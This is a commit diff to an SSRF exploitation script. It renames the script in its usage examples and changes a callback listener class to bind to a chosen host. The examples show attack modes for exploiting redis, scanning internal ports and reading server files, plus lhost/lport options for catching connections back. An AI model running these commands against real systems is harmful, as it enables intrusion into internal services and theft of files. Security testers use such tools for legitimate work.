Update ssrf-exploition.py

Author: errorfiathck

ssrf-exploition.py

@@ -24,13 +24,13 @@
 banner()
 
 example_text = '''Example: 
-python3 ssrf-exploit.py -u https://example.com/
-python3 ssrf-exploit.py -u https://example.com/ -m redis
-python3 ssrf-exploit.py -u https://example.com/ -m portscan
-python3 ssrf-exploit.py -u https://example.com/ -m readfiles --rfile
-python3 ssrf-exploit.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
-python3 ssrf-exploit.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
-python3 ssrf-exploit.py -d data/request.txt -u https://example.com/ -m redis
+python3 ssrf-exploition.py -u https://example.com/
+python3 ssrf-exploition.py -u https://example.com/ -m redis
+python3 ssrf-exploition.py -u https://example.com/ -m portscan
+python3 ssrf-exploition.py -u https://example.com/ -m readfiles --rfile
+python3 ssrf-exploition.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
+python3 ssrf-exploition.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
+python3 ssrf-exploition.py -d data/request.txt -u https://example.com/ -m redis
 
 '''
 parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
@@ -80,15 +80,16 @@
 
 class Handler(threading.Thread):
 
-    def __init__(self, port):
+    def __init__(self, host, port):
         threading.Thread.__init__(self)
-        logging.info(f"Handler listening on 0.0.0.0:{port}")
+        logging.info(f"Handler listening on {host}:{port}")
         self.connected = False
         self.port = int(port)
+        self.host = str(host)
 
     def run(self):
         self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        self.socket.bind(('', self.port))
+        self.socket.bind((self.host, self.port))
 
         while True:
             self.socket.listen(5)